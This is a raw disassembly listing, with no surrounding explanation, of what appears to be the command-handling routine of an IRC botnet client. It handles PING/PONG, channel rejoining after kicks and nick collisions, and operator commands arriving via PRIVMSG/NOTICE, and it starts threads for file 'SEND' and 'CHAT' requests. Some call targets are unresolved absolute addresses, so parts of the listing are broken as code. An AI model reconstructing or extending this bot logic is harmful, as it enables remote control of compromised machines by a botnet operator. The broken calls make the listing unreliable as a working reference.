var_1514 = dword ptr -1514h
var_1510 = dword ptr -1510h
var_150C = dword ptr -150Ch
var_1508 = byte ptr -1508h
var_14F8 = byte ptr -14F8h
var_1478 = byte ptr -1478h
var_13F8 = dword ptr -13F8h
var_13F0 = dword ptr -13F0h
var_13EC = dword ptr -13ECh
var_13E8 = dword ptr -13E8h
var_13E4 = dword ptr -13E4h
var_13E0 = dword ptr -13E0h
var_13DC = dword ptr -13DCh
var_13D8 = byte ptr -13D8h
var_1358 = byte ptr -1358h
var_12D8 = byte ptr -12D8h
var_1258 = dword ptr -1258h
var_1254 = dword ptr -1254h
var_1250 = dword ptr -1250h
var_124C = dword ptr -124Ch
var_1248 = dword ptr -1248h
var_1244 = dword ptr -1244h
var_1240 = dword ptr -1240h
var_123C = dword ptr -123Ch
var_1234 = byte ptr -1234h
var_11B4 = byte ptr -11B4h
var_1134 = dword ptr -1134h
var_1130 = dword ptr -1130h
var_112C = dword ptr -112Ch
var_1124 = dword ptr -1124h
var_1120 = dword ptr -1120h
var_111C = dword ptr -111Ch
var_1114 = dword ptr -1114h
var_1110 = byte ptr -1110h
var_1090 = byte ptr -1090h
var_1010 = dword ptr -1010h
var_100C = dword ptr -100Ch
var_1008 = dword ptr -1008h
var_1000 = dword ptr -1000h
var_FFC = dword ptr -0FFCh
var_FF8 = dword ptr -0FF8h
var_FF4 = dword ptr -0FF4h
var_FF0 = dword ptr -0FF0h
var_FEC = byte ptr -0FECh
var_F6C = dword ptr -0F6Ch
var_F68 = dword ptr -0F68h
var_F64 = dword ptr -0F64h
var_F60 = dword ptr -0F60h
var_F5C = dword ptr -0F5Ch
var_F58 = byte ptr -0F58h
var_ED8 = dword ptr -0ED8h
var_ED4 = dword ptr -0ED4h
var_ED0 = dword ptr -0ED0h
var_ECC = dword ptr -0ECCh
var_EC8 = dword ptr -0EC8h
var_EC4 = byte ptr -0EC4h
var_E44 = dword ptr -0E44h
var_E40 = dword ptr -0E40h
var_E3C = dword ptr -0E3Ch
var_E38 = dword ptr -0E38h
var_E34 = byte ptr -0E34h
var_E24 = byte ptr -0E24h
var_E04 = byte ptr -0E04h
var_D84 = dword ptr -0D84h
var_D80 = byte ptr -0D80h
var_D00 = byte ptr -0D00h
var_C80 = dword ptr -0C80h
var_C7C = dword ptr -0C7Ch
var_C78 = dword ptr -0C78h
var_C74 = dword ptr -0C74h
var_C70 = dword ptr -0C70h
var_C6C = dword ptr -0C6Ch
var_C68 = dword ptr -0C68h
var_C64 = dword ptr -0C64h
var_C60 = dword ptr -0C60h
var_C5C = byte ptr -0C5Ch
var_BDC = dword ptr -0BDCh
var_BD8 = dword ptr -0BD8h
var_BD4 = dword ptr -0BD4h
var_BD0 = dword ptr -0BD0h
var_BCC = dword ptr -0BCCh
var_BC8 = dword ptr -0BC8h
var_BC4 = byte ptr -0BC4h
var_B44 = dword ptr -0B44h
var_B40 = dword ptr -0B40h
var_B3C = dword ptr -0B3Ch
var_B38 = dword ptr -0B38h
var_B34 = dword ptr -0B34h
var_B30 = dword ptr -0B30h
var_B2C = byte ptr -0B2Ch
var_AAC = dword ptr -0AACh
var_AA8 = dword ptr -0AA8h
var_AA4 = dword ptr -0AA4h
var_AA0 = dword ptr -0AA0h
var_A9C = dword ptr -0A9Ch
var_A98 = dword ptr -0A98h
var_A94 = dword ptr -0A94h
var_A90 = byte ptr -0A90h
var_A10 = dword ptr -0A10h
var_A0C = dword ptr -0A0Ch
var_A08 = dword ptr -0A08h
var_A04 = dword ptr -0A04h
var_A00 = dword ptr -0A00h
var_9FC = byte ptr -9FCh
var_97C = word ptr -97Ch
var_978 = dword ptr -978h
var_970 = dword ptr -970h
var_96C = dword ptr -96Ch
var_968 = dword ptr -968h
var_960 = byte ptr -960h
var_8FF = byte ptr -8FFh
var_8FE = byte ptr -8FEh
var_8FC = byte ptr -8FCh
var_8FB = byte ptr -8FBh
var_8F2 = byte ptr -8F2h
var_8F0 = byte ptr -8F0h
var_8EE = byte ptr -8EEh
var_8ED = byte ptr -8EDh
var_860 = byte ptr -860h
var_850 = byte ptr -850h
var_7D0 = byte ptr -7D0h
var_750 = dword ptr -750h
var_74C = dword ptr -74Ch
var_748 = dword ptr -748h
var_744 = dword ptr -744h
var_740 = dword ptr -740h
var_734 = dword ptr -734h
var_730 = dword ptr -730h
var_728 = dword ptr -728h
var_724 = dword ptr -724h
var_720 = dword ptr -720h
var_71C = dword ptr -71Ch
var_714 = dword ptr -714h
var_710 = byte ptr -710h
var_690 = dword ptr -690h
var_688 = dword ptr -688h
var_684 = dword ptr -684h
var_680 = dword ptr -680h
var_678 = dword ptr -678h
var_674 = dword ptr -674h
var_670 = dword ptr -670h
var_668 = dword ptr -668h
var_63C = dword ptr -63Ch
var_638 = word ptr -638h
var_624 = dword ptr -624h
var_620 = byte ptr -620h
var_5A0 = byte ptr -5A0h
var_590 = dword ptr -590h
var_58C = dword ptr -58Ch
var_584 = dword ptr -584h
var_580 = dword ptr -580h
var_57C = dword ptr -57Ch
var_574 = dword ptr -574h
var_570 = byte ptr -570h
var_4F0 = dword ptr -4F0h
var_4EC = dword ptr -4ECh
var_4E8 = dword ptr -4E8h
var_4E4 = dword ptr -4E4h
var_4E0 = dword ptr -4E0h
var_4D8 = dword ptr -4D8h
var_4D4 = dword ptr -4D4h
var_4D0 = dword ptr -4D0h
var_4C8 = byte ptr -4C8h
var_4BC = byte ptr -4BCh
var_484 = byte ptr -484h
var_474 = byte ptr -474h
var_3F4 = byte ptr -3F4h
var_374 = dword ptr -374h
var_370 = dword ptr -370h
var_36C = dword ptr -36Ch
var_368 = dword ptr -368h
var_364 = dword ptr -364h
var_358 = dword ptr -358h
var_354 = dword ptr -354h
var_34C = dword ptr -34Ch
var_348 = dword ptr -348h
var_344 = dword ptr -344h
var_340 = dword ptr -340h
var_338 = byte ptr -338h
var_31C = word ptr -31Ch
var_31A = word ptr -31Ah
var_318 = dword ptr -318h
var_30C = byte ptr -30Ch
var_308 = dword ptr -308h
var_2FC = byte ptr -2FCh
var_2F8 = byte ptr -2F8h
var_2F4 = dword ptr -2F4h
var_2E8 = byte ptr -2E8h
var_2E4 = byte ptr -2E4h
var_2E3 = byte ptr -2E3h
var_2E2 = byte ptr -2E2h
var_2D8 = dword ptr -2D8h
var_2D4 = dword ptr -2D4h
var_2D0 = dword ptr -2D0h
var_2CC = dword ptr -2CCh
var_2C8 = dword ptr -2C8h
var_2C4 = byte ptr -2C4h
var_C4 = byte ptr -0C4h
var_AC = dword ptr -0ACh
var_A8 = dword ptr -0A8h
var_A4 = dword ptr -0A4h
var_A0 = byte ptr -0A0h
var_94 = byte ptr -94h
var_93 = byte ptr -93h
var_92 = byte ptr -92h
var_90 = dword ptr -90h
var_8C = dword ptr -8Ch
var_88 = dword ptr -88h
var_84 = dword ptr -84h
var_80 = dword ptr -80h
var_7C = dword ptr -7Ch
var_78 = dword ptr -78h
var_50 = byte ptr -50h
var_14 = byte ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
arg_24 = dword ptr 2Ch
arg_28 = dword ptr 30h
push ebp
mov ebp, esp
mov eax, 568Ch
call sub_41C500
push ebx
push esi
mov esi, 200h
push edi
xor ebx, ebx
push esi
lea eax, [ebp+var_2C4]
push ebx
push eax
mov [ebp+var_AC], 3
mov [ebp+var_10], ebx
mov [ebp+var_A4], ebx
mov [ebp+var_8], ebx
mov [ebp+var_4], ebx
mov [ebp+var_2C8], ebx
call sub_41BF70
push 1Bh
lea eax, [ebp+var_338]
push [ebp+arg_10]
push eax
call sub_41BFD0
add esp, 18h
cmp [ebp+arg_0], ebx
jz loc_401F75
push esi
lea eax, [ebp+var_428C]
push ebx
push eax
call sub_41BF70
dec esi
lea eax, [ebp+var_428C]
push esi
push [ebp+arg_0]
push eax
call sub_41BFD0
lea eax, [ebp+var_428C]
push offset asc_42CDC4 ; " :"
push eax
call sub_41C2E0
mov [ebp+var_C], eax
lea eax, [ebp+var_428C]
push esi
push eax
lea eax, [ebp+var_4EF8]
push eax
call sub_41BFD0
mov esi, offset asc_42CDC0 ; " "
lea eax, [ebp+var_4EF8]
push esi
push eax
call sub_41CAD4
add esp, 34h
mov [ebp+var_90], eax
lea edi, [ebp+var_8C]
mov [ebp+var_A8], 1Fh
loc_401BA0: ; CODE XREF: sub_401ACD+E7j
push esi
push ebx
call sub_41CAD4
mov [edi], eax
pop ecx
add edi, 4
dec [ebp+var_A8]
pop ecx
jnz short loc_401BA0
mov esi, [ebp+var_90]
cmp esi, ebx
jz loc_401F75
cmp [ebp+var_8C], ebx
jz loc_401F75
push 100h
lea eax, [ebp+var_960]
push ebx
push eax
call sub_41BF70
add esp, 0Ch
lea ecx, [ebp+var_14]
push 1Fh
pop edx
push 1
pop edi
loc_401BEE: ; CODE XREF: sub_401ACD+153j
mov eax, [ecx]
cmp eax, ebx
jz short loc_401C1A
cmp byte ptr [eax], 2Dh
jnz short loc_401C22
cmp [eax+2], bl
jnz short loc_401C22
movsx esi, byte ptr [eax+1]
mov [ecx], ebx
mov [ebp+esi+var_960], 1
mov esi, [ebp+var_90]
mov [eax], bl
mov [eax+1], bl
mov [eax+2], bl
loc_401C1A: ; CODE XREF: sub_401ACD+125j
dec edx
sub ecx, 4
cmp edx, ebx
jge short loc_401BEE
loc_401C22: ; CODE XREF: sub_401ACD+12Aj
; sub_401ACD+12Fj
cmp [ebp+var_8ED], bl
jz short loc_401C2D
mov [ebp+var_8], edi
loc_401C2D: ; CODE XREF: sub_401ACD+15Bj
cmp [ebp+var_8F2], bl
jz short loc_401C3B
mov [ebp+var_8], ebx
mov [ebp+var_4], edi
loc_401C3B: ; CODE XREF: sub_401ACD+166j
cmp byte ptr [esi], 0Ah
jz short loc_401C75
push 7Fh
lea eax, [ebp+var_E04]
push esi
push eax
call sub_41BFD0
lea eax, [esi+1]
push 17h
push eax
lea eax, [ebp+var_C4]
push eax
call sub_41BFD0
lea eax, [ebp+var_C4]
push offset asc_42CDBC ; "!"
push eax
call sub_41CAD4
add esp, 20h
loc_401C75: ; CODE XREF: sub_401ACD+171j
push esi
push offset aPing ; "PING"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_401CC6
push [ebp+var_8C]
mov byte ptr [esi+1], 4Fh
push offset aPongS ; "PONG %s\r\n"
push [ebp+arg_4]
call sub_409823
mov eax, [ebp+arg_20]
add esp, 0Ch
cmp [eax], ebx
jnz loc_401D6A
push [ebp+arg_C]
push [ebp+arg_8]
push offset aJoinSS ; "JOIN %s %s\r\n"
push [ebp+arg_4]
call sub_409823
add esp, 10h
jmp loc_401D6A
; ---------------------------------------------------------------------------
loc_401CC6: ; CODE XREF: sub_401ACD+1B7j
mov esi, [ebp+var_8C]
push esi
push offset a001 ; "001"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4097D7
push esi
push offset a005 ; "005"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4097D7
push esi
push offset a302 ; "302"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_401D2E
push offset a@ ; "@"
push [ebp+var_84]
call sub_41C2E0
pop ecx
cmp eax, ebx
pop ecx
jz short loc_401D6A
inc eax
push 9Fh
push eax
push [ebp+arg_1C]
call sub_41BFD0
jmp short loc_401D67
; ---------------------------------------------------------------------------
loc_401D2E: ; CODE XREF: sub_401ACD+238j
push esi
push offset a433 ; "433"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_401D71
push ebx
push dword_4290A0
push dword_42909C
push [ebp+arg_10]
call sub_40AE84
add esp, 10h
push [ebp+arg_10]
push offset aNickS ; "NICK %s\r\n"
push [ebp+arg_4]
call sub_409823
loc_401D67: ; CODE XREF: sub_401ACD+25Fj
add esp, 0Ch
loc_401D6A: ; CODE XREF: sub_401ACD+1D8j
; sub_401ACD+1F4j ...
mov eax, edi
jmp loc_401F78
; ---------------------------------------------------------------------------
loc_401D71: ; CODE XREF: sub_401ACD+270j
mov esi, [ebp+arg_18]
mov [ebp+var_A8], 3
mov edi, 80h
loc_401D83: ; CODE XREF: sub_401ACD+2DBj
lea eax, [ebp+var_E04]
push eax
push esi
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_401DA0
mov [ebp+var_A4], 1
loc_401DA0: ; CODE XREF: sub_401ACD+2C7j
add esi, edi
dec [ebp+var_A8]
jnz short loc_401D83
mov esi, [ebp+var_8C]
push esi
push offset aKick ; "KICK"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_401E9A
mov esi, [ebp+arg_18]
mov [ebp+arg_24], 3
loc_401DCF: ; CODE XREF: sub_401ACD+392j
cmp [esi], bl
jz loc_401E5A
push 7Fh
lea eax, [ebp+var_E04]
push esi
push eax
call sub_41BFD0
lea eax, [ebp+var_C4]
add esp, 0Ch
test eax, eax
jz short loc_401E5A
cmp [ebp+var_84], ebx
jz short loc_401E5A
push [ebp+var_84]
lea eax, [ebp+var_C4]
push eax
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_401E5A
lea eax, [ebp+var_C4]
mov [esi], bl
push eax
lea eax, [ebp+var_2C4]
push offset unk_42CD50
push eax
call sub_41C266
add esp, 0Ch
lea eax, [ebp+var_2C4]
push eax
lea eax, [ebp+var_C4]
push eax
push offset aNoticeSS ; "NOTICE %s :%s\r\n"
push [ebp+arg_4]
call sub_409823
lea eax, [ebp+var_2C4]
push eax
call sub_415D38
add esp, 14h
loc_401E5A: ; CODE XREF: sub_401ACD+304j
; sub_401ACD+324j ...
add esi, edi
dec [ebp+arg_24]
jnz loc_401DCF
push [ebp+var_84]
push [ebp+arg_10]
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_401F75
push [ebp+arg_C]
mov eax, [ebp+arg_20]
push [ebp+arg_8]
mov [eax], ebx
push offset aJoinSS ; "JOIN %s %s\r\n"
loc_401E8D: ; CODE XREF: sub_401ACD+5F6j
; sub_401ACD+8B9j ...
push [ebp+arg_4]
call sub_409823
jmp loc_404260
; ---------------------------------------------------------------------------
loc_401E9A: ; CODE XREF: sub_401ACD+2F2j
push esi
push offset aNick ; "NICK"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_401FDD
mov eax, [ebp+var_88]
mov esi, [ebp+arg_18]
inc eax
mov [ebp+arg_0], 3
mov [ebp+arg_24], eax
loc_401EC3: ; CODE XREF: sub_401ACD+448j
lea eax, [ebp+var_E04]
push eax
push esi
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_401F10
lea eax, [ebp+var_E04]
push 21h
push eax
call sub_41C990
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+arg_1C], eax
jz short loc_401F10
push [ebp+arg_24]
lea edi, [esi+2]
mov byte ptr [esi], 3Ah
lea eax, [edi-1]
push eax
call sub_41C890
push [ebp+arg_1C]
push edi
call sub_41C8A0
add esp, 10h
mov edi, 80h
loc_401F10: ; CODE XREF: sub_401ACD+407j
; sub_401ACD+41Ej
add esi, edi
dec [ebp+arg_0]
jnz short loc_401EC3
lea eax, [ebp+var_C4]
test eax, eax
jz short loc_401F75
cmp [ebp+arg_24], ebx
jz short loc_401F75
push [ebp+arg_10]
lea eax, [ebp+var_C4]
push eax
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_401F4D
push 0Fh
push [ebp+arg_24]
push [ebp+arg_10]
call sub_41BFD0
jmp loc_4036A2
; ---------------------------------------------------------------------------
loc_401F4D: ; CODE XREF: sub_401ACD+46Cj
mov edi, [ebp+arg_18]
xor esi, esi
loc_401F52: ; CODE XREF: sub_401ACD+4A6j
cmp [edi], bl
jz short loc_401F69
lea eax, [ebp+var_E04]
push eax
push edi
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz short loc_401F7D
loc_401F69: ; CODE XREF: sub_401ACD+487j
inc esi
add edi, 80h
cmp esi, 3
jl short loc_401F52
loc_401F75: ; CODE XREF: sub_401ACD+5Bj
; sub_401ACD+F1j ...
push 1
loc_401F77: ; CODE XREF: sub_401ACD+2A1Ej
pop eax
loc_401F78: ; CODE XREF: sub_401ACD+29Fj
; sub_401ACD+2A40j ...
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_401F7D: ; CODE XREF: sub_401ACD+49Aj
lea eax, [ebp+var_E04]
push 21h
push eax
call sub_41C990
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+arg_0], eax
jz short loc_401F75
push eax
call sub_41B9C0
push [ebp+arg_24]
mov edi, eax
call sub_41B9C0
add edi, eax
pop ecx
cmp edi, 7Eh
pop ecx
ja short loc_401F75
push [ebp+arg_0]
shl esi, 7
push [ebp+arg_24]
add esi, [ebp+arg_18]
push offset aSS ; ":%s%s"
push esi
call sub_41C266
push ebx
lea eax, [ebp+var_45F0]
push ebx
push eax
push [ebp+arg_8]
push [ebp+arg_4]
call sub_409869
add esp, 24h
jmp short loc_401F75
; ---------------------------------------------------------------------------
loc_401FDD: ; CODE XREF: sub_401ACD+3DCj
push esi
push offset aPart ; "PART"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz short loc_401FFF
push esi
push offset aQuit ; "QUIT"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_402026
loc_401FFF: ; CODE XREF: sub_401ACD+51Fj
mov edi, [ebp+arg_18]
xor esi, esi
loc_402004: ; CODE XREF: sub_401ACD+557j
cmp [edi], bl
jz short loc_40201A
push [ebp+var_90]
push edi
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz short loc_402067
loc_40201A: ; CODE XREF: sub_401ACD+539j
inc esi
add edi, 80h
cmp esi, 3
jl short loc_402004
loc_402026: ; CODE XREF: sub_401ACD+530j
push [ebp+var_8C]
push offset a353 ; "353"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_4020C8
push [ebp+var_80]
push [ebp+arg_8]
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_40205A
mov eax, [ebp+arg_20]
mov dword ptr [eax], 1
loc_40205A: ; CODE XREF: sub_401ACD+582j
push [ebp+var_80]
push offset unk_42CCFC
jmp loc_4097CB
; ---------------------------------------------------------------------------
loc_402067: ; CODE XREF: sub_401ACD+54Bj
mov eax, [ebp+arg_18]
shl esi, 7
mov [esi+eax], bl
lea eax, [ebp+var_C4]
push eax
lea eax, [ebp+var_2C4]
push offset unk_42CCDC
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_415D38
push [ebp+var_8C]
push offset aPart ; "PART"
call sub_41CA50
add esp, 18h
test eax, eax
jnz loc_401F75
lea eax, [ebp+var_2C4]
push eax
mov eax, [ebp+var_90]
inc eax
push eax
push offset aNoticeSS ; "NOTICE %s :%s\r\n"
jmp loc_401E8D
; ---------------------------------------------------------------------------
loc_4020C8: ; CODE XREF: sub_401ACD+56Dj
push [ebp+var_8C]
mov esi, offset aPrivmsg ; "PRIVMSG"
push esi
call sub_41CA50
pop ecx
mov edi, offset aNotice ; "NOTICE"
test eax, eax
pop ecx
jz short loc_40211C
push [ebp+var_8C]
push edi
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz short loc_40211C
push [ebp+var_8C]
push offset dword_42CCC8
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_409644
cmp dword_429088, ebx
jz loc_409644
loc_40211C: ; CODE XREF: sub_401ACD+615j
; sub_401ACD+627j
push [ebp+var_8C]
push esi
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4022A2
push [ebp+var_8C]
push edi
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4022A2
mov eax, [ebp+var_84]
inc [ebp+var_80]
push 4
mov [ebp+var_88], eax
pop esi
mov [ebp+var_AC], esi
loc_402160: ; CODE XREF: sub_401ACD+891j
; sub_401ACD+8CDj ...
shl esi, 2
mov eax, [ebp+esi+var_90]
lea edi, [ebp+esi+var_90]
push eax
push offset dword_42CCC0
mov [ebp+arg_8], eax
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_40253B
push [ebp+esi+var_8C]
push offset aSend_0 ; "SEND"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_402402
cmp [ebp+var_A4], ebx
jz loc_4023DB
push [ebp+esi+var_88]
mov edi, offset aS_1 ; "%s"
lea eax, [ebp+var_1B84]
push edi
push eax
call sub_41C266
add esp, 0Ch
lea eax, [ebp+var_1B98]
push [ebp+esi+var_84]
push edi
push eax
call sub_41C266
push [ebp+esi+var_80]
call sub_41C159
mov [ebp+var_1A00], eax
mov eax, [ebp+arg_4]
mov [ebp+var_1BA0], eax
lea eax, [ebp+var_C4]
push 7Fh
push eax
lea eax, [ebp+var_1A80]
push eax
call sub_41BFD0
mov eax, [ebp+var_4]
add esp, 1Ch
mov [ebp+var_19F8], eax
mov eax, [ebp+var_8]
mov [ebp+var_19F4], eax
lea eax, [ebp+var_1A80]
push eax
lea eax, [ebp+var_1B84]
push eax
lea eax, [ebp+var_2C4]
push offset unk_42CC84
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push 1Ah
push eax
call sub_40B3BA
add esp, 1Ch
mov [ebp+var_19FC], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_1BA0]
push ebx
push eax
push offset loc_416563
push ebx
push ebx
nop
call near ptr 2680000h
mov ecx, [ebp+var_19FC]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz loc_4023CA
loc_40228C: ; CODE XREF: sub_401ACD+7D3j
cmp [ebp+var_19F0], ebx
jnz loc_4082DE
push 32h
call near ptr 2670E97h
nop
jmp short loc_40228C
; ---------------------------------------------------------------------------
loc_4022A2: ; CODE XREF: sub_401ACD+65Fj
; sub_401ACD+675j
push [ebp+var_8C]
push edi
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_4022BB
mov [ebp+var_4], 1
loc_4022BB: ; CODE XREF: sub_401ACD+7E5j
cmp [ebp+var_88], ebx
jz loc_401F75
push offset dword_42CC80
push [ebp+var_88]
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jz short loc_4022E2
cmp [ebp+var_4], ebx
jz short loc_4022EE
loc_4022E2: ; CODE XREF: sub_401ACD+80Ej
lea eax, [ebp+var_C4]
mov [ebp+var_88], eax
loc_4022EE: ; CODE XREF: sub_401ACD+813j
cmp [ebp+var_84], ebx
jz loc_401F75
inc [ebp+var_84]
jz short loc_40233A
cmp [ebp+arg_10], ebx
jz short loc_40233A
lea eax, [ebp+var_338]
push eax
call sub_41B9C0
push eax
lea eax, [ebp+var_338]
push [ebp+var_84]
push eax
call sub_41C850
mov esi, eax
add esp, 10h
neg esi
sbb esi, esi
add esi, 4
mov [ebp+var_AC], esi
jmp short loc_402340
; ---------------------------------------------------------------------------
loc_40233A: ; CODE XREF: sub_401ACD+833j
; sub_401ACD+838j
mov esi, [ebp+var_AC]
loc_402340: ; CODE XREF: sub_401ACD+86Bj
mov edi, [ebp+esi*4+var_90]
cmp edi, ebx
jz loc_401F75
push edi
push offset dword_42CC74
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_402160
mov ecx, [ebp+var_88]
cmp byte ptr [ecx], 23h
jz short loc_40238B
mov eax, dword_4CB888
mov eax, off_429160[eax*4]
cmp [eax], bl
jz short loc_40238B
push eax
push ecx
push offset dword_42CC58
jmp loc_401E8D
; ---------------------------------------------------------------------------
loc_40238B: ; CODE XREF: sub_401ACD+8A0j
; sub_401ACD+8B0j
push edi
push offset dword_42CC50
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_402160
mov eax, [ebp+esi*4+var_8C]
cmp eax, ebx
jz loc_402160
mov ecx, [ebp+var_88]
cmp byte ptr [ecx], 23h
jz loc_402160
push eax
push ecx
push offset dword_42CC38
jmp loc_401E8D
; ---------------------------------------------------------------------------
loc_4023CA: ; CODE XREF: sub_401ACD+7B9j
; sub_401ACD+76B7j
nop
call near ptr 2680972h
push eax
push offset unk_42CBFC
jmp loc_4082CF
; ---------------------------------------------------------------------------
loc_4023DB: ; CODE XREF: sub_401ACD+6DDj
lea eax, [ebp+var_C4]
push eax
push [ebp+esi+var_88]
push offset unk_42CBB8
loc_4023EE: ; CODE XREF: sub_401ACD+7C19j
; sub_401ACD+7C80j
lea eax, [ebp+var_2C4]
push eax
call sub_41C266
add esp, 10h
jmp loc_4082DE
; ---------------------------------------------------------------------------
loc_402402: ; CODE XREF: sub_401ACD+6D1j
push [ebp+esi+var_8C]
push offset aChat ; "CHAT"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_402551
cmp [ebp+var_A4], ebx
jz loc_40252A
push 1Bh
call sub_40B602
test eax, eax
pop ecx
jnz loc_402519
push [ebp+esi+var_84]
lea eax, [ebp+var_2AAC]
push offset aS_1 ; "%s"
push eax
call sub_41C266
push [ebp+esi+var_80]
call sub_41C159
mov [ebp+var_2914], eax
mov eax, [ebp+arg_4]
mov [ebp+var_2AB4], eax
lea eax, [ebp+var_C4]
push 7Fh
push eax
lea eax, [ebp+var_2994]
push eax
call sub_41BFD0
mov eax, [ebp+var_4]
add esp, 1Ch
mov [ebp+var_290C], eax
mov eax, [ebp+var_8]
mov [ebp+var_2908], eax
lea eax, [ebp+var_C4]
push eax
lea eax, [ebp+var_2C4]
push offset unk_42CB90
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push 1Bh
push eax
call sub_40B3BA
add esp, 18h
mov [ebp+var_2910], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_2AB4]
push ebx
push eax
push offset dword_416000
push ebx
push ebx
nop
call near ptr 2680000h
mov ecx, [ebp+var_2910]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_402508
loc_4024F2: ; CODE XREF: sub_401ACD+A39j
cmp [ebp+var_2904], ebx
jnz loc_4082DE
push 32h
call near ptr 2670E97h
nop
jmp short loc_4024F2
; ---------------------------------------------------------------------------
loc_402508: ; CODE XREF: sub_401ACD+A23j
call near ptr 2680972h
nop
push eax
push offset unk_42CB58
jmp loc_4082CF
; ---------------------------------------------------------------------------
loc_402519: ; CODE XREF: sub_401ACD+966j
lea eax, [ebp+var_C4]
push eax
push offset unk_42CB28
jmp loc_4082CF
; ---------------------------------------------------------------------------
loc_40252A: ; CODE XREF: sub_401ACD+956j
lea eax, [ebp+var_C4]
push eax
push offset unk_42CAF4
jmp loc_4082CF
; ---------------------------------------------------------------------------
loc_40253B: ; CODE XREF: sub_401ACD+6B6j
mov eax, [ebp+arg_8]
lea ecx, [eax+1]
mov al, [eax]
cmp al, byte_429094
mov [edi], ecx
jnz loc_401F75
loc_402551: ; CODE XREF: sub_401ACD+94Aj
mov edi, [edi]
push edi
push offset aC ; "c"
mov [ebp+arg_8], edi
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_40964C
push edi
push offset aK ; "k"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_40964C
cmp [ebp+var_A4], ebx
jnz short loc_4025A2
push [ebp+var_8C]
push offset dword_42CCC8
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_409644
loc_4025A2: ; CODE XREF: sub_401ACD+AB9j
cmp [ebp+arg_28], ebx
jnz loc_409644
xor edi, edi
cmp dword_4294CC, ebx
jle loc_402757
mov [ebp+arg_20], offset dword_43DB90
loc_4025C0: ; CODE XREF: sub_401ACD+B12j
push [ebp+arg_8]
push [ebp+arg_20]
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz short loc_4025E6
add [ebp+arg_20], 0B8h
inc edi
cmp edi, dword_4294CC
jl short loc_4025C0
jmp loc_402757
; ---------------------------------------------------------------------------
loc_4025E6: ; CODE XREF: sub_401ACD+B02j
push offset asc_42CDC4 ; " :"
push [ebp+arg_0]
call sub_41C2E0
pop ecx
cmp eax, ebx
pop ecx
jz loc_401F75
mov cl, byte_429094
imul edi, 0B8h
mov [eax+2], cl
mov cl, byte_429094
mov [eax+3], cl
lea ecx, dword_43DBA8[edi]
push 9Fh
add eax, 4
push ecx
push eax
call sub_41BFD0
lea eax, [ebp+esi+var_50]
add esp, 0Ch
mov [ebp+arg_20], 0Fh
mov [ebp+arg_C], eax
loc_40263B: ; CODE XREF: sub_401ACD+C1Fj
push [ebp+arg_20]
lea eax, [ebp+var_A0]
push offset aD_0 ; "$%d-"
push eax
call sub_41C266
lea eax, [ebp+var_A0]
push eax
push [ebp+arg_0]
call sub_41C2E0
add esp, 14h
test eax, eax
jz short loc_4026A7
mov eax, [ebp+arg_C]
cmp [eax], ebx
jz short loc_4026A7
lea eax, dword_43DB90[edi]
push eax
call sub_41B9C0
add [ebp+var_C], eax
pop ecx
jz short loc_4026E2
mov eax, [ebp+arg_C]
push dword ptr [eax-4]
push [ebp+var_C]
call sub_41C2E0
pop ecx
cmp eax, ebx
pop ecx
jz short loc_4026E2
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+arg_0]
call sub_41843B
add esp, 0Ch
jmp short loc_4026E2
; ---------------------------------------------------------------------------
loc_4026A7: ; CODE XREF: sub_401ACD+B96j
; sub_401ACD+B9Dj
mov eax, [ebp+arg_C]
cmp [eax], ebx
jnz short loc_4026E2
lea eax, [ebp+var_A0]
push 2
push eax
lea eax, [ebp+var_94]
push eax
call sub_41BFD0
lea eax, [ebp+var_94]
mov [ebp+var_92], bl
push eax
